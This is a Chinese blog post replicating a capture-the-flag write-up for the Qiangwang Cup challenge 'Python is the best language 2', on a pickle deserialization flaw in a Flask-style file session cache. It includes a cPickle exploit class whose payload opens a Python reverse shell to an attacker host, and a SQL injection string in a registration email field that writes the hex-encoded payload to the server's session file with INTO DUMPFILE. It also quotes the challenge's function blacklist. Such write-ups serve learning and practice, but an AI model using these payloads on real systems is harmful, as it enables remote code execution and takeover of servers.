看wp復(fù)現(xiàn) 之 強(qiáng)網(wǎng)杯 Python is the best language2

1.觸發(fā)點
other.py

black_type_list = [eval, execfile, compile, system, open, file, popen, popen2, popen3, popen4, fdopen,
                   tmpfile, fchmod, fchown, pipe, chdir, fchdir, chroot, chmod, chown, link,
                   lchown, listdir, lstat, mkfifo, mknod, mkdir, makedirs, readlink, remove, removedirs,
                   rename, renames, rmdir, tempnam, tmpnam, unlink, walk, execl, execle, execlp, execv,
                   execve, execvp, execvpe, exit, fork, forkpty, kill, nice, spawnl, spawnle, spawnlp, spawnlpe,
                   spawnv, spawnve, spawnvp, spawnvpe, load, loads]

.......

def load(file):
    unpkler = Unpkler(file)
    unpkler.dispatch[REDUCE] = _hook_call(unpkler.dispatch[REDUCE])
    return Unpkler(file).load()

load()函數(shù)有一個unpkler函數(shù)用于反序列化參數(shù)(file)
如果file可控那么這就是一個反序列化漏洞。
于是追蹤load()函數(shù)
load()在Mycache.py的FileSystemCache類中有多次引用

def get(self, key):
        filename = self._get_filename(key)
        try:
            with open(filename, 'rb') as f:
                pickle_time = load(f)
                if pickle_time == 0 or pickle_time >= time():
                    a = load(f)
                    return a
                else:
                    os.remove(filename)
                    return None
        except (IOError, OSError, PickleError):
            return None

繼續(xù)追蹤_get_filename

def _get_filename(self, key):
    if isinstance(key, text_type):
        key = key.encode('utf-8')  # XXX unicode review
    hash = md5(key).hexdigest()
    return os.path.join(self._path, hash)

可以看到將傳入的字符串key進(jìn)行MD5,并將其返回。
追蹤一下key

class FileSystemSessionInterface(SessionInterface):
    ...
    def __init__(self, cache_dir, threshold, mode, key_prefix="bdwsessions",
                 use_signer=False, permanent=True):

        self.cache = FileSystemCache(cache_dir, threshold=threshold, mode=mode)
        self.key_prefix = key_prefix
        self.use_signer = use_signer
        self.permanent = permanent

    def open_session(self, app, request):
        # 從cookie中獲取到sid
        # 格式 Cookie: session=675b6ec7-95bd-411f-a59d-4c3db5929604
        # sid 即為 675b6ec7-95bd-411f-a59d-4c3db5929604
        sid = request.cookies.get(app.session_cookie_name)
        if not sid:
            sid = self._generate_sid()
            return self.session_class(sid=sid, permanent=self.permanent)
        ...
        data = self.cache.get(self.key_prefix + sid) #重點在這
        if data is not None:
            return self.session_class(data, sid=sid)
        return self.session_class(sid=sid, permanent=self.permanent)

其中self.key_prefix即為bdwsessions,因此假設(shè)cookie中的sesssions為sworder,則self.key_prefix + sid即為bdwsessionssworder,session文件名就是MD5(bdwsessionssworder),即file達(dá)到了可控。

大致思路如下:
1.在本地生成序列化對象(payload),并用16進(jìn)制解碼
2.通過第一關(guān)的sql注入(見參考鏈接),將本地生成的payload,寫入服務(wù)器上的session文件,指定文件名為MD5(bdwsessionssworder),這樣我們在訪問/index的時候把cookie中的session值改為sworder就可以觸發(fā)這個反序列化漏洞了。

沙箱逃逸.
此處漏洞無回顯,所以我們就只能選擇命令執(zhí)行來反彈shell

black_type_list = [eval, execfile, compile, system, open, file, popen, popen2, popen3, popen4, fdopen,
                   tmpfile, fchmod, fchown, pipe, chdir, fchdir, chroot, chmod, chown, link,
                   lchown, listdir, lstat, mkfifo, mknod, mkdir, makedirs, readlink, remove, removedirs,
                   rename, renames, rmdir, tempnam, tmpnam, unlink, walk, execl, execle, execlp, execv,
                   execve, execvp, execvpe, exit, fork, forkpty, kill, nice, spawnl, spawnle, spawnlp, spawnlpe,
                   spawnv, spawnve, spawnvp, spawnvpe, load, loads]

此處過濾了大多數(shù)函數(shù),但是commands.getoutput和subprocess.Popen()并沒有過濾
這里構(gòu)造序列化對象的腳本選擇commands.getoutput

import cPickle
import commands

class Exp(object):
    def __reduce__(self):
        return (commands.getoutput,("python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"yourip\",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'",)) 
e = Exp()
poc = cPickle.dumps(e)
print  '0x'+poc.encode('hex')

image.png

在注冊處的email里填入sql語句

test'/**/union/**/select/**/0x63636f6d6d616e64730a6765746f75747075740a70310a285327707974686f6e202d63205c27696d706f727420736f636b65742c73756270726f636573732c6f733b733d736f636b65742e736f636b657428736f636b65742e41465f494e45542c736f636b65742e534f434b5f53545245414d293b732e636f6e6e6563742828223132302e37372e3230392e313232222c3839383929293b6f732e6475703228732e66696c656e6f28292c30293b206f732e6475703228732e66696c656e6f28292c31293b206f732e6475703228732e66696c656e6f28292c32293b703d73756270726f636573732e63616c6c285b222f62696e2f7368222c222d69225d293b5c27270a70320a7470330a5270340a2e/**/into/**/dumpfile/**/'/tmp/ffff/fcae06115ab1548fa82f1d098e4de59b'#@test.com

注冊后出現(xiàn)Please use a different email address.。說明寫入成功
然后訪問http://39.107.32.29:20000/index
抓包修改session值為sworder

image.png

反彈shell成功
image.png

獲取flag
image.png

參考鏈接:
http://seaii-blog.com/index.php/2018/03/26/79.html
https://xz.aliyun.com/t/2219#toc-5

總結(jié):
還是多看看大佬們的博客,積累積累知識吧

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

  • Spring Cloud為開發(fā)人員提供了快速構(gòu)建分布式系統(tǒng)中一些常見模式的工具(例如配置管理,服務(wù)發(fā)現(xiàn),斷路器,智...
    卡卡羅2017閱讀 136,568評論 19 139
  • 我使用的是火狐瀏覽器 使用火狐瀏覽器的hackbar插件 如果有錯誤的地方希望大家多多指出,多謝多謝 WEB2 點...
    yangc隨想閱讀 54,840評論 11 16
  • Lua 5.1 參考手冊 by Roberto Ierusalimschy, Luiz Henrique de F...
    蘇黎九歌閱讀 14,246評論 0 38
  • 好像很快,又好像很慢。 快,一年了; 慢,仿佛在昨天。 人就是糾結(jié)而矛盾著。 最初因為喜歡,心動,在一起了; 慢慢...
    Sharing霖妞閱讀 134評論 0 0

友情鏈接更多精彩內(nèi)容